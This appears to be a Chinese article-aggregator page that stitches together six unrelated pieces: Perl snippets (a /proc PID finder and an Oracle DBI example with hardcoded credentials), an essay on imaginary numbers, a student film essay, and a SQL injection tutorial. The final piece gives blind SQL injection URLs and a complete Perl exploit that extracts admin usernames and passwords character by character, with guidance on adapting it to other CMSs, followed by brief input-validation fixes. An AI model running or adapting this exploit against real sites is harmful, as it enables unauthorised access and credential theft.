一个Perl语言的例子

时间:2023-07-01 08:28:16 其他范文 收藏本文 下载本文

一个Perl语言的例子(共6篇)由网友“lin一二”投稿提供,下面小编给大家整理一个Perl语言的例子,希望大家喜欢!

一个Perl语言的例子

篇1:一个Perl语言的例子

最近些天看了Schwartz写的Perl语言入门,

一个Perl语言的例子

在这本书的前言部分,大概了解了Perl差不多是融合了各种语言的优势,比如PHP/Python的正则表达式,C的基本语法等,正如书上说的那样,他把几个有不同魔力的水晶球熔掉,再加入一些小的有着特殊魔力的水晶球,然后把它

篇2:perl查找进程PID的例子

这篇文章主要介绍了perl查找进程PID的例子,例子中主要通过/proc目录进行PID的查找,需要的朋友可以参考下

主要是利用查找/proc目录下的相关文件进行查找.

#!/usr/bin/perl use strict;use warnings;#usage: process_grep.pl ProcessNameexit( main(@ARGV) ); sub main { my $Phash; my $ProcessName = shift; my $PROC_DIR = “/proc”; chdir $PROC_DIR; my @pids = glob “[0-9]*”; for my $pid (@pids) { open( FH, “$pid/cmdline” ) or die “Can‘t $pid file $!”; $Phash->{$pid} = $_ while ; } delete $Phash->{“$$”}; for my $pid ( keys %$Phash ) { print $pid, “\n” if $Phash->{$pid} =~ /$ProcessName/; } return 0;}

篇3:perl数据库添加、删除、更新、查询操作例子

这篇文章主要介绍了perl数据库添加、删除、更新、查询操作例子,本文直接给出操作代码,需要的朋友可以参考下

注意:连接时候使用SID指定的database,所以没有在连接中指定database.

#!/usr/bin/perluse strict;use warnings;use DBI;my $db_name=“geneva_admin”;my $db_passwd=“geneva_admin”;my $dbh=DBI->connect(“dbi:Oracle:”,“$db_name”,“$db_passwd”) or die “Can‘t connect to oracle database:$DBI::errstr\n”; my $sth=$dbh->prepare(“select a,b from a_tmp where a=2”) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;$sth->execute or die “Can‘t execute:$DBI::errstr\n”;while (my @row = $sth->fetchrow_array){ my ($a,$b) = @row; print “1..\$a=$a,\$b=$b\n”;}$sth->finish();my $row=3;my $sql=“select a,b from a_tmp where a = ?”;$sth=$dbh->prepare($sql) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;$sth->execute($row) or die “Can‘t execute:$DBI::errstr\n”;while (my @row = $sth->fetchrow_array()){ my ($a,$b) = @row; print “2..\$a=$a,\$b=$b\n”;}$sth->finish();my $row_a=3;my $row_c=0;$sql=“select a,b from a_tmp where a = ? and c = ?”;$sth=$dbh->prepare($sql) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;$sth->execute($row_a,$row_c) or die “Can‘t execute:$DBI::errstr\n”;while (my @row = $sth->fetchrow_array()){ my ($a,$b) = @row; print “3..\$a=$a,\$b=$b\n”;}$sth->finish();for $row(1,2,3){$sql=“select a,b from a_tmp where a = ?”;$sth=$dbh->prepare($sql) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;$sth->execute($row) or die “Can‘t execute:$DBI::errstr\n”;while (my @row = $sth->fetchrow_array()){ my ($a,$b) = @row; print “4..\$a=$a,\$b=$b\n”;}}$sth->finish();#for $row(1,2,3){#$sql=“insert into a_tmp# values (?,?,?)”;#$sth=$dbh->prepare($sql) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;#$sth->execute($row,$row+1,$row+2) or die “Can‘t execute:$DBI::errstr\n”;#}##$dbh->commit;#$sth->finish();#$sql=“insert into a_tmp# values (100,30,2)”;#$sth=$dbh->prepare($sql) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;#$sth->execute or die “Can‘t execute:$DBI::errstr\n”;##$dbh->commit;#$sth->finish();for $row(1,2,3){$sql=“update a_tmp set b = ? , c = ? where a = ?”;$sth=$dbh->prepare($sql) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;$sth->execute($row+100,$row+50,$row) or die “Can‘t execute:$DBI::errstr\n”;}#$dbh->commit;$sth->finish();for $row(1,2,3){$sql=“delete from a_tmp where c=2”;$sth=$dbh->prepare($sql) or die “Can‘t prepare SQl prepare:$DBI::errstr\n”;$sth->execute or die “Can‘t execute:$DBI::errstr\n”;}#$dbh->commit;$sth->finish();$dbh->do(“insert into a_tmp values (1,1,1)”) or die “$DBI::errstr\n”;$dbh->do(“delete from a_tmp where c=51”) or die “$DBI::errstr\n”;#$dbh->commit;$sth->finish();$dbh->disconnect;

篇4:虚数是什么 举一个例子

在数学里,将偶指数幂是负数的数定义为纯虚数。所有的虚数都是复数。定义为i2=-1。但是虚数是没有算术根这一说的,所以±√(-1)=±i。对于z=a bi,也可以表示为e的iA次方的形式,其中e是常数,i为虚数单位,A为虚数的幅角,即可表示为z=cosA isinA。实数和虚数组成的一对数在复数范围内看成一个数,起名为复数。虚数没有正负可言。不是实数的复数,即使是纯虚数,也不能比较大小。

虚数的由来

随着数学的发展,数学家发现一些 三次方程的实数根还非得用负数的平方根 表示不可。而且,如果承认了负数的平方根,那么代数方程的有无根问题就可以得到解决,并且会得出n次方程有n个根这 样一个令人满意的`结果。此外,对负数的平方根按数的运算法则进行运算,结果也是正确的。

意大利数学家卡尔丹作出一个折中表示,他称负数的平方根为 “虚构的数”,意思是,可以承认它为数,但不像实数那样可以表示实际存在的 量,而是虚构的。到了 1632年,法国数学家笛卡儿,正式给了负数的平方根一个 大家乐于接受的名字——虚数。

虚数的虚字表示它不代表实际的 数,而只存在于想象之中。尽管虚数是 “虚”的,但数学家却没有放松对它的研 究,他们发现了关于虚数的许许多多的性 质和应用。大数学家欧拉提出了 “虚数单位”的概念,他把U 作为虚数单位,用符号i表示,相当于实数的单位1。虚数有了单位,就能像实数 一样,写成虚数单位倍数的形式了。

从此,数学家把实数与虚数同等对待,并合称为复数,于是,数的家族得到 了统一。任何一个复数可以写成a bi的 形式,当b=0时a bi=a,它就是实数,当 b#0时,a bi就是虚数了。

篇5:一个成功的例子作文550字

一个成功的例子作文550字

在期末大考结束后,学校组织同学们去红星大剧院看电影。

这次我们看的电影是 ≤娃娃唱大戏≥ ,电影讲述了一个名叫王大为的小男孩从看别人唱戏,到喜欢唱戏,最后自己登台唱戏的全过程:

王大为从小爱看戏、也向往成为一个戏剧演员。一次偶然的机遇,使他成为了儿童戏剧学院的一员。刚开始学戏时,训练很刻苦,王大为练了一段时间,终于坚持不住了,一个人在楼梯口哭,后来在老师的鼓励下振作了起来。又是一次偶然的机遇,王大为的“戏曲天赋”被祖师爷发现了,还得到了祖师爷的提拔。从此,王大为决定刻苦训练,不辜负大家对他的期望。他不顾严寒酷暑,起早贪黑,不分日夜地训练。终于,“功夫不负有心人”,王大为等到了他梦寐以求的一天━━上台唱戏,他唱的戏是《三岔口》。这本是好事,可却因为多蹦了几个铁门坎而搞砸了。老师很不满,可念在他第一次上台,没有追究。而同学们却因为不满他的表现而开始嘲笑他、讽刺他。过了一段时间,王大为终于受不了了,回到了家。却听到了爸爸与朋友的谈话,知道爸爸对他寄予厚望时,回心转意,悄悄回到了学校……

剧团要送戏下乡了,王大为极其兴奋,也做好了充分的准备。他首先唱了一出《龙宫借宝》,看到儿子如此精彩的表演,王大为的爸爸不禁鼓掌叫好。王大为听到爸爸的鼓掌叫好声,信心更足了,接下来的 《闹天宫》 、《娃娃唱大戏》一出比一出唱得好。和戏曲的题目一样,王大为也是“娃娃唱大戏”。不错哦

看完这部电影以后,我的第一感就是王大为很不容易,他的.成功不比别人容易,甚至还要难,而他还是坚持下来了,而且做得很好。这个世界上有很多人想成功,却因为需要很大的付出而退缩了,可王大为没有放弃。对于一个孩子来讲,这样已经很不错了,需要勇气和坚持不懈的努力。王大为的成功也让我明白了许多,我知道了想做成功一件事情并不容易,以后,我一定要对自己想做成功的事情多付出一些。我现在的学习条件比起王大为要好多了,而且学的东西也比他容易了,我必须好好珍惜现在的一切,好好学习,不辜负老师和父母的期望!

篇6:一个跨表查询的例子

最近没有事做,帮朋友看看站点的安全性,这个站点是使用的是盗帅文章系统2002特别版,这是最新的版本了吧,现在是2003年7月了,我不知道还有怎么样的漏洞,先去找一个来研究一下代码还有熟悉一下数据库的结构。看到show.asp这个文件的时候发现这里:Set rs = Server.CreateObject(“ADODB.Recordset”)sql=“SELECT * FROM article where id=”&idrs.OPEN sql, Conn,1,3if rs.eof thenarticle=“没有该文章”else 再看看 这些被引用的文件中,没有一个是对提交的数据做了检查的。果然有漏洞。最主要是没有禁止空格(仅禁止空格是不够的,这里是相对这个程序而言),这样就可以进行跨表查询了,顾名思义,就是提交精心构造的语句查询其他表里面的数据。这个show.asp的id没有检查就放进查询语句,查询的表是article,我们通过提交子查询语句来查询admin里面的用户名和密码。这样就是跨表查询了。也是Sql Injection的一种,最近学习Web安全上瘾,写篇文章来巩固一下。本文涉及知识点比较多,难免乱,写得不好请见谅。如果发现有错漏的地方希望能和我联系、交流。感激不尽。注意:在实际中,浏览器会自动把地址栏中的空格转换为%20,以下所有提交的语句中包含的%20我已经全部处理掉,这样大家看得更加清楚。 跨表查询的是通过什么来判断呢?通过提交的等式、不等式看返回的页面。比如在提交: 127.0.0.1/show.asp?id=1 and 1=1 127.0.0.1/show.asp?id=1 and 1=2 看到后面的1=1、1=2就是一个关键,前者值为真、后者值为假。如果漏洞存在,一般返回的两个不同的页面或者不同的错误信息。拿具体的来说就是刚才我们看的盗帅文章系统2002特别版。当我们提交第一句的时候文章正常显示,提交第二句的时候返回“没有该文章”,这样我们就可以通过页面的信息判断我们提交的子查询是否获得正确信息。下面来看看这句SQL查询语句。 select 字段 from 表 where 某标准,这句话的意思就是以某标准查询在某表中的某字段,select min(id) from admin where len(admin)=5这句的意思可以这样理解,以字段admin中长度为5的字符串为标准在admin表中查询id字段中的最小值。我这样解释可能比较难理解,我是根据语句的解释来解释含义的,这里涉及的函数我们就不讨论了,大家可以去翻翻专业的数据库书籍。这句查询语句是查询id的,所以返回的就是id字段中的值,比如返回2,那么在刚才的127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where len(admin)=5)也相当于 127.0.0.1/show.asp?id=1 and 1=2返回“没有该文章”,因此为假值,当我们提交127.0.0.1/show.asp?id=1 and 2=(select min(id) from admin where len(admin)=5) 正常显示文章,说明id后跟的是等式,所以我们要查询的最小id字段中的值是2。下面我把所提交的语句得到真值的结果全部写出来,大家结合上面的理论很容易就可以理解了。为了容易看,我把浏览器所产生的都去掉了。127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where qx=2)--获得管理员权限的最小id值为1,127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(admin)=5)--获得id为1的管理员的用户名长度为5,127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(pass)=5)--获得id为1的管理员的密码长度为5,127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(admin,5)= admin)--获得id为1的管理员从左边数起的5位用户名为admin,127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(pass,5)= admin)--获得id为1的管理员从左边数起的5位密码为admin, 注意:如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)= ‘1’ 否则程序会出错。制作Exploit 这样就可以知道管理员的用户名和密码了。但是实际中,没有哪个安全意识高的管理员的密码是8位以下的。用户名也一样。如果我们真的靠手工提交语句。那我们真的要等到老了。我们的网费不允许啊……所以我们要做一个Exploit来为我们完成琐屑的工作。这方面的Exploit当然用Perl写比较好了。但我们这种菜鸟不会写怎么办?活学活用。修改别人的。下面我们来分析一下由wawa写的Crack user&pass for DV_article system。感谢wawa。#!/usr/bin/perl#The script. Crack user&pass for DV_article system#Code by wawa@21cn.com#Grouppage Http://www.Haowawa.com/#Homepage Http://wawa.Haowawa.com/use IO::Socket;system('cls'); $ARGC = @ARGV; if ($ARGC != 4) { print “\n\n”;print “\t* The script. Crack user&pass for DV_article system *\n”;print “\n\t Welcom to www.Haowawa.com && wawa.haowawa.com\n”;print “\n\tExample: dvTxt.pl 127.0.0.1 /txt/list.asp 53 \”没有找到相关文章\“\n”;print “\t dvTxt.pl\n\n\n”;exit; } $host = @ARGV[0];$way = @ARGV[1];$txtid = @ARGV[2];$errinfo =@ARGV[3];$port = 80; print “\n\t* Welcom to www.Haowawa.com && wawa.haowawa.com *\n”;print “\n\n开始在 $host 上进行测试,请等待......\n”;for ($adminid=1;$adminid<=100;$adminid++){$way1 = “?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)”;&url;@res = &connect;#print @res;if (“@res” !~ /$errinfo/) { print “\n\t* 发现一管理员ID号为: $adminid \n”;last;}}for ($passlen=1;$passlen<=10;$passlen++){$way1 = “?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)”;&url;@res = &connect;if (“@res” !~ /$errinfo/) { print “\n\t* 发现ID=$adminid的管理员的密码长度为: $passlen 位\n”;last;}}for ($userlen=1;$userlen<=20;$userlen++){$way1 = “?id=$txtid%20AND%20$userlen=(select%20len(username)%20from%20admin%20where%20id=$adminid)”;&url;@res = &connect;if (“@res” !~ /$errinfo/) { print “\n\t* 发现ID=$adminid的管理员的用户名长度为: $userlen 位\n”;last;}}@dig=(0..9);@char=(a..z);@tchar=qw(` ~ ! + @ # $ ^ * \( \) _ = - { } [ ] : “ ;< >? | , . / \\);@dic=(@dig,@char,@tchar);@dic1=(@char,@dig,@tchar);print ”\n开始尝试获取ID=$adminid的管理员的用户名及密码,请等待......\n“;for ($userlocat=1;$userlocat<=$userlen;$userlocat++){foreach $usertemp(@dic1){$user=$userdic.$usertemp;$way1 = ”?id=$txtid%20AND%20'$user'=(select%20mid(username,1,$userlocat)%20from%20admin%20where%20id=$adminid)“;&url;@res = &connect;if (”@res“ !~ /$errinfo/) { if ($userlocat==$userlen){print ”\n\n\t* 获取成功!!! ID=$adminid的管理员名字是: $user\n“;last;}print ”\n\t* ID=$adminid的管理员名字的前 $userlocat 位为 $user“;$userdic=$userdic.$usertemp;last;}} }for ($passlocat=1;$passlocat<=$passlen;$passlocat++){foreach $passtemp(@dic){$pass=$passdic.$passtemp;$way1 = ”?id=$txtid%20AND%20'$pass'=(select%20mid(password,1,$passlocat)%20from%20admin%20where%20id=$adminid)“;&url;@res = &connect;if (”@res“ !~ /$errinfo/) { if ($passlocat==$passlen){print ”\n\n\t* 获取成功!!! ID=$adminid的管理员密码是: $pass“;last;}print ”\n\t* ID=$adminid的管理员密码的前 $passlocat 位为 $pass“;$passdic=$passdic.$passtemp;last;}} }print ”\n\n\n\t* 测试完毕. 获取到一个用户名为$user密码为$pass的管理员权限! *\n“;print ”\n\n\n“;#system('pause');sub url{$req = ”GET $way$way1 HTTP/1.0\n“.”Host: $host\n“.”Referer: $host\n“.”Cookie: \n\n“; }sub connect {my $connection = IO::Socket::INET->new(Proto =>”tcp“,PeerAddr =>$host,PeerPort =>$port) || die ”Sorry! Could not connect to $host \n“;print $connection $req;my @res =<$connection>; close $connection;return @res;} 其实这类脚本都是差不多一个道理,利用某一个文件的漏洞来进行跨表查询的操作,尽管你看不懂大多数代码,但刚才我们不是学习了那个SQL查询语句吗?我们就可以依葫芦画瓢把这个针对动网的Exploit改为针对盗帅文章的了,想改成什么的都可以啊。看这句:for ($adminid=1;$adminid<=100;$adminid++){$way1 = ”?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)“; 上面的$adminid变量是定义管理员id的取值范围1-100,$后面的都是变量。不用去改。(select%20min(id)%20from%20admin%20where%20flag=1)这里就是我们要改的查询语句。动网的admin表里面的flag字段等于1的是管理员,而盗帅的是字段qx等于2的是管理员。我们就可以把flag=1改为qx=2,from%20admin里面意思是从admin里查询。盗帅的和动网一样。我们就不用改了。改完后的代码如下:for ($adminid=1;$adminid<=100;$adminid++){$way1 = ”?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20qx=2)“; 再看这句:for ($passlen=1;$passlen<=10;$passlen++){$way1 = ”?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)“; 上面是$passlen变量也是定义取值范围,也是密码长度。动网的存放密码的字段是password,盗帅的是pass,所以我们要把password改为pass,改完后就是这样:for ($passlen=1;$passlen<=50;$passlen++){$way1 = ”?id=$txtid%20AND%20$passlen=(select%20len(pass)%20from%20admin%20where%20id=$adminid)“; 由于盗帅的密码最大长度是50,所以我们也不得不把$passlen的最大值改为50(好变态哦), 其他的地方大家应该会改了吧?都是依葫芦画瓢的,只要表名、字段名、数据长度对就可以了。但是真的要写出好的Exploit,还得下大力气精通那些编程语言。毕竟这是修改别人的嘛……解决办法 上面说了那么多攻击方法,下面说说出现这类漏洞如何解决。因为是没有检查提交的变量。那我们就要加一些代码来检查一下。把下面的短短代码加入到查询语句的前面。这样就会先检查提交的变量,才放到SQL查询语句中。dim idididid=replace(request(”id“),” “,”“)if isnumeric(idid)=0 or idid=”“ thenresponse.write ”禁止提交非法语句!“response.endend if 注意,这里声明了一个idid变量,用来检查id,所以后面的查询语句中的id要改为idid,这样不管别人是提交单引号、分号还是and 1=1、and 1=2都是显示“禁止提交非法语句!”这样谁还能判断真假啊?这里也给广大ASP开发人员提个醒,凡是放到SQL查询语句的变量都要经过严格检查,禁止一切特殊字符。安全的程序,用户用得也安心。还有另一种方法,看下面这段代码:Function isInt(str)Dim L,IisInt=FalseIf Trim(Str)=”“ Or IsNull(str) Then Exit Functionstr=CStr(Trim(str))L=Len(Str)For I=1 To LIf Mid(Str,I,1)>”9“ Or Mid(Str,I,1)<”0“ Then Exit FunctionNextisInt=TrueEnd FunctionFunction CheckStr(Str)If Trim(Str)=”“ Or IsNull(str) Then Exit FunctionCheckstr=Replace(Trim(Str),”'“,”''“)End FunctionDim idid=CheckStr(Request.QueryString(”id“))If isInt(ID)=False Then Response.Redirect ”index.asp"End If 这里写了两个Function过程来判断数字是否整形,还有检查一些非法字符。如果有则跳回index.asp这个页面。其实也和上面的一样,上面是给出错误信息。第二种方法是跳转页面。大家可以试试。多掌握一种方法也不是坏事啊。方法是多种多样的,还有不少没有举例。大家自己去探索吧。 如果实在不会改,还有一个下策就是使用中文用户名。中国的文字有多少?大家自己看看吧。还有,提交中文的语句,大家也可以看看有什么有趣的提示。也不失为一个好办法。呵呵。

perl连接access数据库自动测试脚本语言

linux下perl,sed,shell批量替换文件内容linux操作系统

附录的范文

Perl 脚本的特点数据库教程

关于精选php面试题及答案

面向对象的知识管理系统分析方法的探讨

多途径可打造负载均衡

Perl脚本发送带附件的邮件脚本安全

我也来说说我们的家

简历专业技能怎么填

一个Perl语言的例子
《一个Perl语言的例子.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【一个Perl语言的例子(共6篇)】相关文章:

html学习总结2023-01-23

也谈跨站脚本攻击与防御脚本安全2023-12-17

社区面试题及答案2022-06-16

如何成为一名成功的企业家2022-09-29

小猪我来年终总结2023-04-16

dedecms数据库文章、标题、和正文内容批量替换2022-10-15

hr面试题及答案2022-10-01

linux中find与rm实现查找并删除目录或文件linux操作系统2023-01-24

seo面试题与答案2023-02-15

如何成为一名优秀的部门主管2022-09-18

点击下载本文文档